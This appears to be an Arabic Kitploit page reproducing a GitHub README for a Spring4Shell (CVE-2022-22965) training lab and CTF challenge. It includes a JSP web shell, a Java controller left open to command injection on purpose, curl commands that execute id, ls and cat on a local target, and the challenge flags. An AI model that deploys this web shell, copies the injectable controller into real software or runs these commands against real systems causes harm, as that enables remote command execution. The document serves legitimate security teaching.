Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) إعداد بيئة الثغرة وتحدي CTF | Kitploit
أدوات/GitHubGitHub/yuting-huang0/spring4shell-ctf
التحليل الديناميكي (عزل)تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدمختبرات وتدريب عملي
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) إعداد بيئة الثغرة وتحدي CTF

6منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
مشاركة

Spring4Shell (CVE-2022-22965) إعداد بيئة الثغرة وتصميم تحديات CTF

نظرة عامة على المشروع

يحتوي هذا المشروع على مسارين عمليين لأبحاث الأمن السيبراني:

  1. إعداد بيئة Vulhub التقليدية: استخدام مكتبة الثغرات مفتوحة المصدر Vulhub لإعادة إنتاج عيوب ربط الكائنات في إطار Spring القديم بسرعة.
  2. تطوير بيئة مخصصة جديدة: كتابة كود Java يدويًا بالكامل من قبل أعضاء الفريق، وبناء "نظام عرض نتائج مشاريع الطلاب النهائية" كهدف ثغرة، مع دمج عملية اختبار الاختراق القياسية لتصميم تحديات CTF ثنائية المسار (المُنشئ والمُحلل).

سيحقق المشاركون تنفيذ الأوامر عن بُعد (RCE) عبر الثغرة، وسيتبعون الأدلة لقراءة العلم من الدليل الجذر للنظام أو الدليل المؤقت.


خطوات إعداد البيئة

التحضير الأساسي: تثبيت Docker و Docker Compose

root@kitploit:~
# تحديث قائمة الحزم
sudo apt update

# تثبيت Docker و Docker Compose
sudo apt install docker.io docker-compose -y

# بدء خدمة Docker
sudo systemctl start docker
sudo systemctl enable docker

المسار الأول: تنزيل وتشغيل بيئة ثغرة Vulhub (التنفيذ القديم)

root@kitploit:~
# استنساخ مشروع Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# الانتقال إلى دليل ثغرة Spring4Shell
cd vulhub/spring/CVE-2022-22965

# تشغيل حاوية Docker
sudo docker-compose up -d

# التأكد من تشغيل الحاوية بشكل صحيح
sudo docker ps

التحقق من بيئة Vulhub

افتح المتصفح وانتقل إلى http://localhost:8080/?name=Hacker&age=99

المسار الثاني: إعداد البيئة المخصصة ونشر الكود المصدري (تنفيذ جديد)

لتجنب التخمين الأعمى وإعادة إنتاج سيناريو التطوير الذاتي، أنشأ هذا المشروع مشروعًا مستقلاً باسم Spring4Shell-Custom-CTF. قم أولاً بتنظيف البيئة بالكامل، ثم قم بالتشغيل بدون ذاكرة تخزين مؤقت مع التجميع:

root@kitploit:~
# تنظيف البيئة القديمة
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# إنشاء هيكل دليل المشروع وتوليد كود Java المصنوع يدويًا (بما في ذلك pom.xml و UserController.java إلخ.)
# من خلال التجميع على مرحلتين (Maven + Tomcat 9) لوضع العلم المصنوع يدويًا بدقة في الدليل الجذر للنظام /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# التأكد من تشغيل حاوية الهدف المصنوعة يدويًا بشكل صحيح
sudo docker ps

آلية القناة الخلفية لملف الباب الخلفي

الآلية الأولى: كتابة ملف JSP الخلفي (سلسلة Vulhub القديمة)

بعد نجاح الهجوم، سيتم كتابة الملف الخلفي في webapps/ROOT/tomcatwar.jsp، محتواه كما يلي:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

الآلية الثانية: وحدة التحكم الأساسية للثغرة المدمجة (سلسلة البيئة المخصصة الجديدة)

في UserController.java المصنوع يدويًا، تم الاحتفاظ عمدًا بعيب دفاع ربط كائنات POJO، وتم دمج قناة حقن أوامر غير مصرح بها:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // استدعاء Java Runtime مباشرة لتنفيذ الأوامر الأساسية وإرجاع النتيجة
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... منطق قراءة التدفق ...
    }
    return "جامعة تامكانغ - كلية إدارة المعلومات - منصة عرض مشاريع الطلاب النهائية";
}

التحقق من تنفيذ الأوامر عن بُعد (RCE)

1. تنفيذ أمر id

root@kitploit:~
# مسار الباب الخلفي لـ Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# مسار التحكم في البيئة المخصصة
curl "http://localhost:8080/?cmd=id"

2. تنفيذ أمر استعراض الدليل

root@kitploit:~
# مسار الباب الخلفي لـ Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# مسار التحكم في البيئة المخصصة
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

شرح تحديات CTF

التحدي الأول: استغلال ثغرة Spring4Shell (التنفيذ القديم)

  • اسم التحدي: استغلال ثغرة Spring4Shell
  • موقع العلم: /tmp/flag.txt
  • محتوى العلم: FLAG{Spring4Shell_Is_Dangerous}

التحدي الثاني: اختبار الأمان النهائي لقسم إدارة المعلومات (تنفيذ جديد)

  • اسم التحدي: اختبار الأمان النهائي لقسم إدارة المعلومات
  • رابط النظام المستهدف: http://localhost:8080/
  • المعلومات المعروفة من إعلان التحدي: هذه المنصة هي مشروع Spring MVC طوره الطلاب بأنفسهم، والإصدار الأساسي من الإطار المستخدم يحتوي على عيب ربط كائنات (بما في ذلك نوع كائن User). العلم موجود في الدليل الجذر لخادم النظام.
  • موقع العلم: /flag.txt
  • محتوى العلم: FLAG{2026_0615_iwanttosleep}

حل التحدي (Write-up) وخطوات الاختراق

عملية استغلال ثغرة Vulhub القديمة

  • الخطوة 1: انتقل إلى http://<target>:8080/?name=test&age=123 لتأكيد عمل ربط المعلمات بشكل طبيعي.
  • الخطوة 2: أرسل طلب POST مع الحمولة (Payload) لتعديل إعدادات سجل Tomcat وفرض كتابة الباب الخلفي tomcatwar.jsp.
  • الخطوة 3: انتقل إلى http://<target>:8080/tomcatwar.jsp?cmd=id لتأكيد نجاح RCE.
  • الخطوة 4: نفذ curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" لقراءة الملف من الدليل المؤقت.

التنفيذ الجديد: الخطوات الخمس القياسية لاختبار الاختراق

يتبع المُحل (الهوية B) المعلومات المعروفة المقدمة من المُنشئ، ويرفض التخمين الأعمى، وينفذ الكود الموحد:

  • الخطوة الأولى: استكشاف البيئة وتأكيد البقاء تأكيد أن خدمة الويب المستهدفة حية وتعمل الصفحة بشكل طبيعي.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • الخطوة الثانية: اختبار الثغرات الحدودية وعيوب الكائنات أدخل معلمات اختبار للتحقق من وجود عيب حقن أوامر يمكن استغلاله عبر الحدود.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • الخطوة الثالثة: استغلال الثغرة وتأكيد الصلاحيات الأساسية نفذ أمر التحقق من الهوية لتأكيد الحصول على صلاحية التحكم الأعلى في نظام التشغيل root.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • الخطوة الرابعة: جرد البيئة الداخلية واستعراض الملفات قم بجرد الدليل الجذر لنظام Linux، وحدد بدقة الموقع الفعلي للملف المستهدف.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • الخطوة الخامسة: الاستخراج النهائي وجلب العلم نفذ أمر القراءة لاستخراج محتوى العلم المحدد بنجاح.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

هيكل المشروع

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # ملف شرح المشروع
├── docker-compose.yml          # ملف تكوين تنسيق الحاويات
├── Dockerfile                  # إعدادات صورة التجميع على مرحلتين
├── pom.xml                     # ملف إعدادات مشروع Maven
├── src/                        # كود Java المصنوع يدويًا لنظام عرض النتائج
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # ملف العلم المحلي
├── screenshots/                # لقطات توضيحية للنتائج والهجوم
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # كود الباب الخلفي القديم

المراجع

  • تحليل مفصل لـ CVE-2022-22965
  • بيئة Vulhub Spring4Shell
  • إثبات المفهوم لـ Spring4Shell

أعضاء الفريق

الدورالاسمالمهام
العضو أهوانغ يوتينغإعداد البيئة، كتابة كود Java الكامل للمشروع، تغليف Docker، حل التحدي القياسي المكون من 5 خطوات لـ CTF
العضو بلي تشنلينالبحث النظري، إعداد العرض التقديمي، تحرير فيديو التقرير، تنظيم شرح الحل

الترخيص

هذا المشروع مخصص للأغراض التعليمية والبحثية فقط، ولا يجوز استخدامه على أنظمة غير مصرح بها.

تنزيل الأداة